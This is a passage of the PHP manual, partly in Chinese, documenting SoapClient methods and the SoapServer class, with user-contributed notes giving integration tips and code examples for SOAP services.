  • SoapClient::__getLastResponse() - Returns last SOAP response

User Contributed Notes

noncey 30-Sep-2015 12:33
For long running scripts which may be set to a longer timeout in the PHP script, be aware that the IIS connection timeout settings do not restart when you initiate a SOAP call even though you are using a new web address than your current running script.

Because of this, we noted a SOAP call that seemed to not return headers from a Web Service. It was found to be related to IIS timing out. This was in IIS 7.5. The resolution was to increase the connection timeout for IIS at the website/domain level.

There were no faults or exceptions captured when this occurred so your only indicator is that you have no header information.
jeroen{at}asystance{dot}nl 17-Aug-2009 03:20
Note SoapClient does not wait for a response for one-way operations (i.e. <wsdl:operation>s that do not have a <wsdl:response>)! To see if a request failed, use
$sc = new SoapClient( 'some.wsdl', array('features'=>SOAP_WAIT_ONE_WAY_CALLS));

See http://bugs.php.net/bug.php?id=36083 and http://bugs.php.net/bug.php?id=49278


Returns a list of SOAP types

  • ? SoapClient::__getLastResponseHeaders
  • SoapClient::__setCookie ?
  • PHP Manual
  • SoapClient
  • Returns a list of SOAP types

SoapClient::__getTypes

(PHP 5, PHP 7, PHP 8)

SoapClient::__getTypes — Returns a list of SOAP types

说明

public SoapClient::__getTypes(): ?array

Returns an array of types described in the WSDL for the Web service.

Note:

此函数仅在 WSDL 模式下生效。

参数

此函数没有参数。

返回值

The array of SOAP types, detailing all structures and types.

示例

Example #1 SoapClient::__getTypes() example

<?php
$client = new SoapClient('http://soap.amazon.com/schemas3/AmazonWebServices.wsdl');
var_dump($client->__getTypes());
?>

以上示例会输出：

array(88) {
  [0]=>
  string(30) "ProductLine ProductLineArray[]"
  [1]=>
  string(85) "struct ProductLine {
 string Mode;
 string RelevanceRank;
 ProductInfo ProductInfo;
}"
  [2]=>
  string(105) "struct ProductInfo {
 string TotalResults;
 string TotalPages;
 string ListName;
 DetailsArray Details;
}"
...
  [85]=>
  string(32) "ShortSummary ShortSummaryArray[]"
  [86]=>
  string(121) "struct GetTransactionDetailsRequest {
 string tag;
 string devtag;
 string key;
 OrderIdArray OrderIds;
 string locale;
}"
  [87]=>
  string(75) "struct GetTransactionDetailsResponse {
 ShortSummaryArray ShortSummaries;
}"
}

参见

  • SoapClient::__construct() - SoapClient constructor

User Contributed Notes

Serge Liatko 28-Dec-2022 05:40
Here is the fixed version of my previous code (@moderators , please delete my previous note )

Returns a more comprehensive array of SOAP Client types as an array

<?PHP
/**
 * @param \SoapClient $soap
 *
 * @return array The WSDL types data as an array.
 */
function read_wsdl_types( SoapClient $soap ): array {
    $wsdl_types = $soap->__getTypes();
    $lookup     = array();
    $regexes    = array(
        'atomic' => '/^([\w_]+)\s([\w_]+)$/mi',
        'list'   => '/^([\w_]+)\s([\w_]+)[ {]+([\w_]+)[ }]+$/mi',
        'struct' => '/([\w_]+)\s([\w_]+)[\s{]?([\w_]+)*[\s;}]?/mi',
    );
    foreach ( array_reverse( $wsdl_types ) as $wsdl_type ) {
        $matches = array();
        foreach ( $regexes as $type => $regex ) {
            if ( preg_match_all( $regex, $wsdl_type, $matches ) ) {
                break;
            }
        }
        if ( !empty( $matches[1] ) && !empty( $matches[2] ) ) {
            switch ( $type ) {
                case 'atomic':
                    $name            = array_shift( $matches[2] );
                    $data_type       = array_shift( $matches[1] );
                    $lookup[ $name ] = array(
                        'name'      => $name,
                        'type'      => $type,
                        'data_type' => $data_type,
                        'items'     => array(),
                    );
                    break;
                case 'list':
                    $name            = array_shift( $matches[2] );
                    $type            = array_shift( $matches[1] );
                    $items           = array_shift( $matches[3] );
                    $lookup[ $name ] = array(
                        'name'      => $name,
                        'type'      => $type,
                        'data_type' => $items,
                        'items'     => array(
                            array(
                                'name'      => '',
                                'data_type' => $items,
                            ),
                        ),
                    );
                    break;
                case 'struct':
                    $name  = array_shift( $matches[2] );
                    $type  = array_shift( $matches[1] );
                    $items = array();
                    foreach ( $matches[2] as $key => $item_name ) {
                        $items[ $key ] = array(
                            'name'      => $item_name,
                            'data_type' => $matches[1][ $key ],
                        );
                    }
                    $lookup[ $name ] = array(
                        'name'      => $name,
                        'type'      => $type,
                        'data_type' => $name,
                        'items'     => $items,
                    );
                    break;
            }
        }

    }

    array_walk( $lookup, function ( &$type, $key, $data ) {
        if ( !empty( $type['items'] ) ) {
            array_walk( $type['items'], function ( &$item, $key, $data ) {
                if ( !empty( $item['data_type'] ) ) {
                    $old_data_type     = $item['data_type'];
                    $item['type']      = $data[ $old_data_type ]['type'] ?? 'atomic';
                    $item['data_type'] = $data[ $old_data_type ]['data_type'] ?? $old_data_type;
                    $item['from']      = $data[ $old_data_type ]['name'] ?? '';
                }
            }, $data );
        }
    }, $lookup );

    return array_reverse( $lookup );
}
?>
felipe dot cwb at hotmail dot com 21-Jul-2014 06:50
<?php
// to see formated types

$soap = new SoapClient('http://domain.com/ws.php?WSDL');

echo '<pre>';
echo '<h2>Types:</h2>';
$types = $soap->__getTypes();
foreach ($types as $type) {
    $type = preg_replace(
        array('/(\w+) ([a-zA-Z0-9]+)/', '/\n /'),
        array('<font color="green">${1}</font> <font color="blue">${2}</font>', "\n\t"),
        $type
    );
    echo $type;
    echo "\n\n";
}
echo '</pre>';


Defines a cookie for SOAP requests

  • ? SoapClient::__getTypes
  • SoapClient::__setLocation ?
  • PHP Manual
  • SoapClient
  • Defines a cookie for SOAP requests

SoapClient::__setCookie

(PHP 5 >= 5.0.4, PHP 7, PHP 8)

SoapClient::__setCookie — Defines a cookie for SOAP requests

说明

public SoapClient::__setCookie(string $name, ?string $value = null): void

Defines a cookie to be sent along with the SOAP requests.

Note:

Calling this method will affect all following calls to SoapClient methods.

参数

name

The name of the cookie.

value

The value of the cookie. If not specified, the cookie will be deleted.

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | value is now nullable.

User Contributed Notes

Jaygiri Goswami 17-Dec-2011 01:22
You can access the cookies sent by SOAP server using $client->_cookies

Most you need to send session cookies back to server.
lukasz at szostak dot biz 14-Aug-2006 10:53
On the server side you can access the cookie via $_COOKIE['cookie_name'].

Also remember that since HTTP is a stateless protocol, you have to send the cookie with every single SOAP call in order for it to be visible at server site.

It seems obvious but might save one a lot of time.


Sets the location of the Web service to use

  • ? SoapClient::__setCookie
  • SoapClient::__setSoapHeaders ?
  • PHP Manual
  • SoapClient
  • Sets the location of the Web service to use

SoapClient::__setLocation

(PHP 5 >= 5.0.4, PHP 7, PHP 8)

SoapClient::__setLocation — Sets the location of the Web service to use

说明

public SoapClient::__setLocation(?string $location = null): ?string

Sets the endpoint URL that will be touched by following SOAP requests. This is equivalent to specifying the location option when constructing the SoapClient.

Note:

Calling this method is optional. The SoapClient uses the endpoint from the WSDL file by default.

参数

location

The new endpoint URL.

返回值

The old endpoint URL.

更新日志

版本 | 说明
8.0.3 | location is nullable now.

示例

Example #1 SoapClient::__setLocation() example

<?php
$client = new SoapClient('http://example.com/webservice.php?wsdl');

$client->__setLocation('http://www.somethirdparty.com');

$old_location = $client->__setLocation(); // unsets the location option

echo $old_location;

?>

以上示例的输出类似于：

http://www.somethirdparty.com

参见

  • SoapClient::__construct() - SoapClient constructor

User Contributed Notes

maoneid at gmail dot com 24-May-2018 07:24
for some cases , ignoring location from initialization throw exception

PHP Fatal error:  Uncaught SoapFault exception: [HTTP] Could not connect to host

Better call and define the end point location manually.


Sets SOAP headers for subsequent calls

  • ? SoapClient::__setLocation
  • SoapClient::__soapCall ?
  • PHP Manual
  • SoapClient
  • Sets SOAP headers for subsequent calls

SoapClient::__setSoapHeaders

(PHP 5 >= 5.0.5, PHP 7, PHP 8)

SoapClient::__setSoapHeaders — Sets SOAP headers for subsequent calls

说明

public SoapClient::__setSoapHeaders(SoapHeader|array|null $headers = null): bool

Defines headers to be sent along with the SOAP requests.

Note:

Calling this method will replace any previous values.

参数

headers

The headers to be set. It could be SoapHeader object or array of SoapHeader objects. If not specified or set to null, the headers will be deleted.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SoapClient::__setSoapHeaders() example

<?php

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$header = new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world');

$client->__setSoapHeaders($header);

$client->__soapCall("echoVoid", null);
?>

Example #2 Set Multiple Headers

<?php

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$headers = array();

$headers[] = new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world');

$headers[] = new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world again');

$client->__setSoapHeaders($headers);

$client->__soapCall("echoVoid", null);
?>

User Contributed Notes

mlconnor at yahoo dot com 11-Nov-2010 01:28
Does anyone know how to get the response headers?  The getLastResponseHeader returns a string response, not the complex object I was expecting...
peamik1953 at NOSPAM dot btinternet dot com 12-Jul-2010 11:06
You cannot add an additional header. If you want two headers, and one already exists, first delete it with $client->__setSoapHeaders(NULL). Then issue $client->__setSoapHeaders($headers) where $headers is an array of soapHeader() objects.
kedar dot purohit @ mavs dot uta dot edu 10-Sep-2009 12:58
To create complex SOAP Headers, you can do something like this:

Required SOAP Header:

<soap:Header>
    <RequestorCredentials xmlns="http://namespace.example.com/">
      <Token>string</Token>
      <Version>string</Version>
      <MerchantID>string</MerchantID>
      <UserCredentials>
        <UserID>string</UserID>
        <Password>string</Password>
      </UserCredentials>
    </RequestorCredentials>
</soap:Header>

Corresponding PHP code:

<?php

$ns = 'http://namespace.example.com/'; //Namespace of the WS.

//Body of the Soap Header.
$headerbody = array('Token' => $someToken,
                    'Version' => $someVersion,
                    'MerchantID'=>$someMerchantId,
                      'UserCredentials'=>array('UserID'=>$UserID,
                                             'Password'=>$Pwd));

//Create Soap Header.
$header = new SOAPHeader($ns, 'RequestorCredentials', $headerbody);

//set the Headers of Soap Client.
$soap_client->__setSoapHeaders($header);

?>
jayrajput at gmail dot com 30-Mar-2009 01:07
With multiple SOAP headers, when using SoapVar for creation of SoapHeader the PHP code just terminates (command terminated). I am not sure if that is a bug.

Without the SOAPVar the code worked fine for me

There are different way to creart SoapHeader I was using SoapVar and the code was not working. I am still a novice with this SOAP stuff.

Tried using normal strings and it worked fine. SoapHeader can take SoapVar or string as the third argument.

my code:

<?php
// first soap header.
$var = new SoapVar($header, XSD_ANYXML);
$soapHeader = new SoapHeader(NAME_SPACE, "Security", $var);
// second soap header.
$var2 = new SoapVar($header2, XSD_ANYXML);
$soapHeader2 = new SoapHeader(DIFF_NAME_SPACE, "ID", $var2);

$client = new SoapClient($wsdl, array("location" => $location));

$headers = array();
$headers[] = $soapHeader;
$headers[] = $soapHeader2;

// Here my code was just terminating.
$client->__setSoapHeaders($headers);
?>


Calls a SOAP function

  • ? SoapClient::__setSoapHeaders
  • SoapServer ?
  • PHP Manual
  • SoapClient
  • Calls a SOAP function

SoapClient::__soapCall

(PHP 5, PHP 7, PHP 8)

SoapClient::__soapCall — Calls a SOAP function

说明

public SoapClient::__soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed

This is a low level API function that is used to make a SOAP call. Usually, in WSDL mode, SOAP functions can be called as methods of the SoapClient object. This method is useful in non-WSDL mode when soapaction is unknown, uri differs from the default or when sending and/or receiving SOAP Headers.

On error, a call to a SOAP function can cause PHP to throw exceptions or return a SoapFault object if exceptions are disabled. To check if the function call failed to catch the SoapFault exceptions, check the result with is_soap_fault().

参数

name

The name of the SOAP function to call.

args

An array of the arguments to pass to the function. This can be either an ordered or an associative array. Note that most SOAP servers require parameter names to be provided, in which case this must be an associative array.

options

An associative array of options to pass to the client.

The location option is the URL of the remote Web service.

The uri option is the target namespace of the SOAP service.

The soapaction option is the action to call.

inputHeaders

An array of headers to be sent along with the SOAP request.

outputHeaders

If supplied, this array will be filled with the headers from the SOAP response.

返回值

SOAP functions may return one, or multiple values. If only one value is returned by the SOAP function, the return value will be a scalar. If multiple values are returned, an associative array of named output parameters is returned instead.

On error, if the SoapClient object was constructed with the exceptions option set to false, a SoapFault object will be returned.

示例

Example #1 SoapClient::__soapCall() example

<?php

$client = new SoapClient("some.wsdl");
$client->SomeFunction($a, $b, $c);

$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c), NULL,
new SoapHeader(), $output_headers);

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$client->SomeFunction($a, $b, $c);
$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c),
array('soapaction' => 'some_action',
'uri' => 'some_uri'));
?>

参见

  • SoapClient::__construct() - SoapClient constructor
  • SoapParam::__construct() - SoapParam constructor
  • SoapVar::__construct() - SoapVar constructor
  • SoapHeader::__construct() - SoapHeader constructor
  • SoapFault::__construct() - SoapFault constructor
  • is_soap_fault() - Checks if a SOAP call has failed

User Contributed Notes

arturklesun at gmail dot com 10-Aug-2016 06:16
Sharing my experience cuz i believe it is most important for you if you decide to use this Soap Client implementation.

At php 7.0.8 the stdClass generated by SoapClient from the response does not use "minOccurs" and "maxOccurs" WSDL modifiers to distinct properties in stdClass-es (aka keys in "associative arrays") and elements in arrays ("aka indexed arrays").

Instead, the implementation decides whether tag is _a key in associative array_ or _one of elements with same tag in indexed array_ by simply the fact whether there is just one element with such tag in the sequence or many.

Consider alive example from my case:
<?php
response xml:
...
<ValidatingCarrier>
    <Alternate>AA</Alternate>
</ValidatingCarrier>
...
<ValidatingCarrier>
    <Alternate>AA</Alternate>
    <Alternate>AY</Alternate>
</ValidatingCarrier>
...

response structure generated by SoapClient:
...
[ValidatingCarrier] => stdClass Object(
    [Alternate] => AA // here it is a string
)
...
[ValidatingCarrier] => stdClass Object (
    [Alternate] => Array ( // and here this is an array
        [0] => AA
        [1] => AY
    )
)
...

field XSD definition:
<xs:element name="Alternate" type="CarrierCode" minOccurs="0" maxOccurs="24">
?>

You see, the definition in XSD tells us this tag can be repeated up to 24 times, what means it would be an indexed array, but SoapClient does not take that into account and treats the first <Alternate> in example as a value instead of array containing this value.

Undoubtedly, a value should be a property in the stdClass (a key in associative array) _only_ when maxOccurs is 1 or less or not specified (default is 1, see https://www.w3.org/TR/xmlschema-0/#OccurrenceConstraints). Hope this info will be useful for you when you will be implementing your own, correctly working, SoapClient.
ub at sturmundbraem dot ch 11-Jun-2016 12:51
To avoid the SOAP client returning sometimes objects and sometimes arrays of objects, there's a setting:

   $this->soapClient = new \SoapClient($wsdlUrl, array(
    'features' => SOAP_SINGLE_ELEMENT_ARRAYS,
    'trace' => DEBUG_SOAP
   ));
pmeth at softersoftware dot com 12-May-2014 04:44
Note, when trying to overload the __soapCall function, you should not use type hints or STRICT_STANDARDS will complain.
The correct signature is as follows:

<?php
class MySoapClient extends \SoapClient
{
    ...
    public function __soapCall($function_name, $arguments, $options = null, $input_headers = null, &$output_headers = null)
     {
        ...
    }
    ....
}
?>
vb 17-Oct-2012 04:23
Note that calling __soapCall and calling the generated method from WSDL requires specifying parameters in two different ways.

For example, if you have a web service with method login that takes username and password, you can call it the following way:
<?php
$params = array('username'=>'name', 'password'=>'secret');
$client->login($params);
?>

If you want to call __soapCall, you must wrap the arguments in another array as follows:
<?php
$client->__soapCall('login', array($params));
?>
snuufix+nospam at gmail dot com 11-Feb-2011 03:23
I am using SOAP call response headers to sign request results.

After alot of hours, I finally got the best way to get SOAP response headers (other than parsing __getLastResponse() witch requires trace option enabled) is using __soapCall() wrapper.

You can extend SoapClient class and wrap some functions to make sure you get the headers.

<?php

class API extends SoapClient
{

    // ... Constructor, etc.

    // Get SOAP Server response headers
    public function __soapCall($function, $arguments, $options = array(), $input_headers = null, &$output_headers = null)
    {
        parent::__soapCall($function, $arguments, $options, $input_headers, $output_headers);

        print_r($output_headers); // Array of response headers
    }

    // If you are using WSDL you need this, so you still can call functions directly without calling __soapCall manualy
    public function __call($func, $args)
    {
        return $this->__soapCall($func, $args);
    }

?>
niko dot hujanen at gmail dot com 09-Nov-2010 11:06
I was integrating a local warehouse system with a SOAP to our system and noticed some things.

1) Service uses "dot-namespacing" (fe. Item.Price) I classmapped this to Item_Price and used magical __get() and __set() to strip off 'Item.' from variable names. Works like a charm.

Example:
<Item.Price>1.52</Item.Price>

<?php
class Item_Price {
    public $price;
    public function __get($field) { $field = str_replace('Item.', '', $field); return $this->$field; }
    public function __set($field, $value) { $field = str_replace('Item.', '', $field); $this->$field = $value; }
?>

2) I noticed that classmapping a segment with attributes and value is possible. Class uses variables as attributes and $_ is the value.

Example:
<?php
class Foo {
    public $item = 'Bar';
    public $_ = 'Value here';
}
?>
Turns to <Foo item="Bar">Value here</Foo>

Example of using classes with soapcalls:
<?php
    $client = ExtendSoapClient::getInstance();
    $foo = new Foo();
    $response = $client->sendFoo($foo);
?>

Posted these since I think the documentation is lacking and very obsolete. Hopefully someone's burden eases.
james dot ellis at gmail dot com 09-Jun-2010 07:12
If you are using this method, remember that the array of arguments need to be passed in with the ordering being the same order that the SOAP endpoint expects.

e.g
<?php
//server expects: Foo(string name, int age)

//won't work
$args = array(32, 'john');
$out = $client->__soapCall('Foo', $args);

//will work
$args = array('john', 32);
$out = $client->__soapCall('Foo', $args);
?>
lesley at casbah dot com dot au 21-Apr-2009 06:55
If you are calling a weblogic service with a certificate and you are getting this error on the soap method call statement:

[EJB:010160]Security Violation: User: '<anonymous>' has insufficient permission to access EJB: type=<ejb>, application=app2_0_52_3, module=appsejb.jar, ejb=AppMethod, method=AppMethod, methodInterface=Remote, signature={java.lang.String}.

then check the wsdl in the soap open call - it must be https.  Supplied with an http wsdl this took some time to figure out.

<?php
    $client = new SoapClient("https://example.com/AppWs/Service?WSDL",
                array('trace'=>true,
                      'exceptions'=>true,
                      'local_cert' => "/var/www/html/app/newcert.pem",
                      'passphrase' => "thepassphrase"));
    $response = $client->__soapCall("MyMethod", array("param1" => $value1));
?>

Thanks to the authors for their comments on enabling openssl and curl by uncommenting extension=php_opensll.dll and extension=php_curl.dll in php.ini.  Also for Olaf's instructions "append the content of the private key file and the certificate file to a single file". I did this using copy command on the DOS prompt:

copy mycert.pem+mykey.pem newcert.pem
Tim Williams 08-Apr-2009 06:55
One little gotcha when passing the parameters where you need to have attributes and a simpletype value:

To get the xml

<foo bar="moo">cheese</foo>

You'd pass in:

<?php
array("foo" => array("_" => "cheese", "bar"=>"moo"));
?>

See that "_" bit? It really wasn't obvious from the documentation.
deWarlock 02-Apr-2009 04:10
The most annoying thing is that you'll get no warning trying to pass object not matching wsdl e.g. if server expects smth like $Object->expName->... and you would pass $Object->otherName the client will send empty request without notifying you.
Also pay attention that names are key sensitive.

In my case I spent hours trying to pass $Post->Lead->... object instead of $Post->lead-> ...
Shto 03-Mar-2009 03:17
One thing to note.

This happened to me and it took a while until I discovered what the problem was.

I was trying to get .NET objects from a provided web service, however it always seemed to return empty objects. It did return the backbone, but nothing within the objects that made up the structure.

Anyhow, it seems that you have to be very precise with the arrays when calling these functions. Par example, do this:

<?php
$obj = $client->__soapCall($SOAPCall, array('parameters'=>$SoapCallParameters));
?>

meaning that you must put an array as the second argument with 'parameters' as the key and the soap call parameters as the value.

Also make sure that the parameter variable, in my case $SoapCallParameters is in the form of what is requested by the webservice.

So, don't just make an array of the form:
<?php

(
   [0] => 'Mary',
   [1] => 1983
)

?>

but if the webservice requests a 'muid' variable as 'Mary' and a 'birthyear' as 1983, then make your array like this:

<?php

(
   [muid] => 'Mary',
   [birthyear] => 1983
)

?>

The above arrays refer to the $SoapCallParameters variable.

Hope this helps somebody, not having to spend too much time figuring out the problems.
Alejandro Cavallo 19-Mar-2008 07:38
I get the same problem reported above by ryan:
"ryan at grunt dot tv
22-Sep-2005 01:38
If you want to pass an xml document node as a function parameter, your need to create a SoapVar object with a text represention of the xml node and the XSD_ANYXML encoding constant. However, this constant is not exported by the extension and is not documented for some unknown reason."

When defined variable soapVar I assigned the type XSD_STRING rather than as XSD_ANYXML.
And when calls to the function you must pass the soapVar in an associative array.

For example if the function (called myFunc) expect a parameter called xmlInput you should do something like this:
$soapvar = new SoapVar($query, XSD_STRING);
$result = $client->myFunc(array('xmlInput'=>$soapvar));

This XML fragment are wrapped around xmlImput tags.-
stefan at datax dot biz 24-Oct-2007 07:28
The call to __soapCall returned an object to me either. This is the function which makes my life easier:

function obj2array($obj) {
  $out = array();
  foreach ($obj as $key => $val) {
    switch(true) {
        case is_object($val):
         $out[$key] = obj2array($val);
         break;
      case is_array($val):
         $out[$key] = obj2array($val);
         break;
      default:
        $out[$key] = $val;
    }
  }
  return $out;
}

Usage:
...
$response = $client ->__soapCall("track", array('parameters' => $request));
$response = obj2array($response);

Hope it helps.
temp at mailinator dot com 30-Jan-2007 04:43
The options in the third argument is documented in http://php.net/manual/en/function.soap-soapclient-construct.php
paulsjv at gmail dot com 11-Jan-2006 07:44
I was working with SOAP for the first time and I had to create a client that sent a date range to a WSDL (Web Services Description Language) to return some information I needed.  I didn't know how to pass the params and there really was no documentation about it.  The main thing you have to make sure to do is when you pass params to a method that is definied by the WSDL that you are calling is that you use the same param name for the key of the array or the object variable as shown below.  Also, if you don't know what the methods/functions that a WSDL has or the params that you need to pass it you can use the __getFunctions() and __getTypes() methods after you declare your new SoapClient.

<?php
// From and to are the two params that the execute function needs
// when called from the WSDL so make you to have them as the
// key to an array like below
$params["From"] = "06/01/2005"; // also can use $params->From = "date";
$params["to"] = "12/31/2005"; // also can use $params->to = "date";

$client = new SoapClient("some.wsdl");

try {
        print($client->execute($params));
} catch (SoapFault $exception) {
        echo $exception;
}
?>
ryan at grunt dot tv 21-Sep-2005 09:38
If you want to pass an xml document node as a function parameter, your need to create a SoapVar object with a text represention of the xml node and the XSD_ANYXML encoding constant. However, this constant is not exported by the extension and is not documented for some unknown reason.

Therefore, to get this to work you must either register the XSD_ANYXML #define as a PHP constant, or use the integer value of the constant when creating the SoapVar, which is 147.

$soapvar = new SoapVar($xml_text, 147);

$params = array("ItemXml" => $soapvar, "PropertyView" => "blah");
$result = $this->soapclient->__soapCall("SaveItem", array("parameters"=>$params), null, $this->soapheaders);

However, this still doesnt give the correct result. For some reason, the ItemXml parameter node is not wrapped around the associated xml parameter in the soap request, and the following soap is produced (assumming '<item>blah</item>' is used as the $xml_text):

<SOAP-ENV:Envelope xmlns:SOAP-ENV="..." xmlns:ns1="...">
<SOAP-ENV:Header>...</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:SaveItem>
<item>blah</item>
<ns1:PropertyView>blah</ns1:PropertyView>
</ns1:SaveItem>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
DesmondJ 04-May-2005 03:36
Following OrionI's example:

<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "-1"
?>

Please note that the lines:

"$client->Sum($params);"

and

"$simpleresult = $objectresult->SumResult;"

are based off of each other. If your web service function is called "Sum", then add "Result" to the end of it to get the results of the call.

EG:

<?php
 $client = new SoapClient("http://server/mathservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Minus($params); // note the name of the function is "Minus"
 $simpleresult = $objectresult->MinusResult; // note the name of the result is referenced as "MinusResult"
 print($simpleresult); //produces "5"
?>
OrionI 18-Apr-2005 07:27
Correction on the previously submitted code snippet...the incoming parameter for .NET also has to be in object or array form for it to be correctly converted to the XML form that .NET expects (as already mentioned by Llu?s P?mies). The full example (when using WSDL) should be like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $params->param1 = $value1;
 $params->param2 = $value2;
 $objectresult = $client->MyMethod($params);
 $simpleresult = $objectresult->MyMethodResult;
?>
So if you have a C# function like this:
//sumservice.asmx
...
[WebMethod]
public int Sum(int a, int b)
{
  return a + b;
}
...
The PHP client would be this:
<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "5"
?>
OrionI 15-Apr-2005 11:46
When calling over SOAP to a .NET application, you may end up with an object as a result instead of a simple type, even if you're just grabbing a simple type (like a boolean result). Use a property accessor to get the actual result, like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $objectresult = $client->MyMethod($param1, $param2);
 $simpleresult = $objectresult->MyMethodResult;
?>
Note that .NET seems to name the result MethodNameResult for method MethodName.
Llu?s P?mies 17-Feb-2005 03:19
If your service is a .NET doc/lit, which means the input message has a single part named 'parameters' that is a structure that wraps the parameters.  Your call should look like this:

<?php

$params = array('param_name_1'=>$val_1,'param_name_2'=>$val_2);
$client->call('MethodName', array('parameters' => $params));

?>


The SoapServer class

(PHP 5, PHP 7, PHP 8)

简介

The SoapServer class provides a server for the » SOAP 1.1 and » SOAP 1.2 protocols. It can be used with or without a WSDL service description.

类摘要

class SoapServer {
/* 属性 */
private ?SoapFault $__soap_fault = null;
/* 方法 */
public __construct(?string $wsdl, array $options = [])
public addFunction(array|string|int $functions): void
public addSoapHeader(SoapHeader $header): void
public fault(
string $code,
string $string,
string $actor = "",
mixed $details = null,
string $name = ""
): void
public getFunctions(): array
public handle(?string $request = null): void
public setClass(string $class, mixed ...$args): void
public setObject(object $object): void
public setPersistence(int $mode): void
}

属性

service

__soap_fault

Table of Contents

  • SoapServer::addFunction — 添加一个或多个函数来处理 SOAP 请求
  • SoapServer::addSoapHeader — Add a SOAP header to the response
  • SoapServer::__construct — SoapServer constructor
  • SoapServer::fault — Issue SoapServer fault indicating an error
  • SoapServer::getFunctions — Returns list of defined functions
  • SoapServer::handle — Handles a SOAP request
  • SoapServer::setClass — Sets the class which handles SOAP requests
  • SoapServer::setObject — Sets the object which will be used to handle SOAP requests
  • SoapServer::setPersistence — Sets SoapServer persistence mode

User Contributed Notes

mail at borisd dot ru 08-Feb-2019 12:43
If you want to run dummy SoapServer as a daemon for tests on linux, you need to:

1. Set up location "localhost:12312/soapServer.php" in your wsdl like:

<wsdl:service name="ServiceName">
        <wsdl:port name="ServiceNamePort" binding="tns:ServiceNameBinding">
            <soap:address location="http://localhost:12312/soapServer.php" />
        </wsdl:port>
</wsdl:service>

2. Write your test server like:

<?php
/*
  * Server
  */
class TestSoapServer
{
    public function getMessage()
    {
        return 'Hello, World!';
    }
}
$options = ['uri' => 'http://localhost:12312/'];
$server = new SoapServer(null, $options);
$server->setClass('TestSoapServer');
$server->handle();

?>

3. Run it with `php -S localhost:12312` (in the same folder)

Whenever you make a request according to your wsdl, it will end up at your "server".
softontherocks at gmail dot com 29-Oct-2014 06:20
I posted in this URL http://softontherocks.blogspot.com/2014/02/web-service-soap-con-php.html a full example of a nusoap web service.

There is defined the server and the cliente who calls the web service.

I hope it would be useful for you.
s at dumdeedum dot com 12-Sep-2013 05:32
I was running PHP 5.3.2 and couldn't for the life of me get SOAP headers to work, no matter how carefully I built my class/wsdl/client.  What finally fixed it was updating to the latest PHP.  No idea if there was a bug somewhere or what, but it's never a bad idea to stay current and it might save you weeks of frustration!
phpman dot fulter47 at recursor dot net 04-Jul-2012 05:36
For those (like me) coming from other SOAP frameworks and getting confused:

- A PHP SOAP server application created using the SoapServer class can not be used as a standalone SOAP server.
It needs an HTTP server to receive SOAP requests, which must run a PHP engine to execute the PHP SOAP server script as a CGI.

- For this reason, there are no settings in PHP that control the Interface/Port under which the SOAP server will wait for requests - it is the HTTP server who is responsible for that.

- The "uri" parameter is an "id value", used as the namespace for the SOAP response. It is only required if no WSDL file is used (that contains this setting), i.e. "wsdl" is set to NULL. It does _not_ control the Hostname/Port under which the HTTP server will be reachable for requests.
php1221 at klox dot net 18-Aug-2011 01:39
While there are plenty of mentions online that SoapServer doesn't support SOAP Headers, this isn't true.

In your class, if you declare a function with the name of the header, the function will be called when that header is received.

<?php
class MySoapService {
  private $user_is_valid;

  function MyHeader($header) {
    if ((isset($header->Username)) && (isset($header->Password))) {
      if (ValidateUser($header->Username, $header->Password)) {
        $user_is_valid = true;
      }
    }
  }

  function MySoapRequest($request) {
    if ($user_is_valid) {
      // process request
    }
    else {
      throw new MyFault("MySoapRequest", "User not valid.");
    }
  }
}
?>
hawky83 at googlemail dot com 21-Jan-2011 02:46
Another simple example for SOAP_SERVER with errorhandling an params and wsdl:

SERVER (soap_all_srv.php):

<?php
// PEAR::SOAP einbinden
require_once "SOAP/Server.php";
$skiptrace =& PEAR::getStaticProperty('PEAR_Error', 'skiptrace');
$skiptrace = true;

// Service-Class
class mytimeserv {

  // __dispatch_map
  public $__dispatch_map = array ();

  // In/Out param -> __dispatch_map
  public function __construct() {
    $this->__dispatch_map["now"] =
      array ("in" => array("format" => "string"),
             "out" => array("time" => "string"));
  }

  // get back __dispatch_map in __dispatch
  public function __dispatch($methodname) {

    if (isset($this->__dispatch_map[$methodname])) {
      return $this->__dispatch_map[$methodname];
    }

    return NULL;
  }

  // servicemthod with parameters
  function now ($format) {

    // formaterror?
    if (($format == null) || (trim($format) == "")) {

      // send errormessage
      return new SOAP_Fault("Kein Parameter angegeben","0815", "Client");
    }

    date_default_timezone_set('Europe/Berlin');

    $time = date ($format);

    // return SOAP-Obj.
    return (new SOAP_Value('time','string', $time));
  }
}

// service-class
$service = new mytimeserv();

// server
$ss = new SOAP_Server();

// add service with name
$ss->addObjectMap (&$service,"urn:mytimeserv");

// service or wsdl
if (isset($_SERVER["REQUEST_METHOD"])&& $_SERVER["REQUEST_METHOD"] == "POST") {

    // postdata -> service
    $ss->service ($HTTP_RAW_POST_DATA);

} else {

  // wsdl-param in url
  if (isset($_SERVER['QUERY_STRING']) && strcasecmp($_SERVER['QUERY_STRING'],'wsdl') == 0) {

